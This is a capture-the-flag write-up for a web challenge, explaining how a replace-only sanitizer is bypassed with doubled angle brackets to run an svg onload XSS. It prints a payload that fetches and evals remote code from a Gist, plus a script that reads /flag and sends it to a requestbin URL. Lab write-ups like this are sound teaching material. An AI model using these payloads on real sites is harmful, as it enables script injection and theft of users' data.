Apparently, the description shows admin bot can access /flag. The site's acronym makes me certain that the bot will visit an XSS payload and sends our flag somewhere.

Let's start with the source code given to us. We can see that the site uses the replace method in JS to filter out common XSS tags and replace them their HTML entity counterparts, such as <, ', etc.

However, It doesn't use replaceAll, just replace. We can then use something such as this: <<svg onload=alert(1)//>>

It does output an alert! It would be processed like this by the sanitizer: &lt;<svg onload=alert(1)//&gt;>

My XSS payload involved first creating a GitHub Gist, then fetching and evaluating its content. This was the code I created:

<<svg onload=fetch("https://gist.githubusercontent.com/hKQwHW/56f7e2b3ace5c941971456588ce11e36/raw/969cb463ef37dc107fa9fedae36dd56ebf2d0275/ddd.js").then(function(a){a.text().then(function(b){eval(b)})})//>>

To break it down, first, we need to get make sure that our first replacement of < is used up, and that we can now create the payload with it. This will lead to the first two characters being evaluted as &lt;< - ok, now, I just used an svg tag because I recently watched a LiveOverflow video where he did it, and thought it would be a good idea. I then used onload to make this execute JS. I know I could have put this in quotes, but it would require unnecessary work to get over the XSS parser sanitizing the first instance of it - looking back, I could've just put all the characters that it sanitizes at the start of my sardine's name then make a simpler payload, but whatever.

Anyways, the JavaScript will fetch my https://gist.githubusercontent.com/hKQwHW/56f7e2b3ace5c941971456588ce11e36/raw/969cb463ef37dc107fa9fedae36dd56ebf2d0275/ddd.js URL, then get the text content of it and evaluate it. However, the next issue will be the CORS of the sardines website. It doesn't allow sending cookies or other data to URLs outside of its domain. However, I found a simple solution to this, and that's to use query strings to put data inside.

My full payload ended up following the steps of: 1) fetching the contents of /flag, then 2) sending it to a requestbin with the /flag contents as a query string.

The Gist code ended up looking like this:

fetch("https://xtra-salty-sardines.web.actf.co/flag").then(function(a) {
  a.text().then(owo => {
    fetch(`https://requestbin.net/r/13rz3f9a?${owo}`, {
      "mode": "no-cors"
    })
  })
})
                        

Once I sent my payload to the admin bot, I received the flag inside my requestbin! It's actf{those_sardines_are_yummy_yummy_in_my_tummy}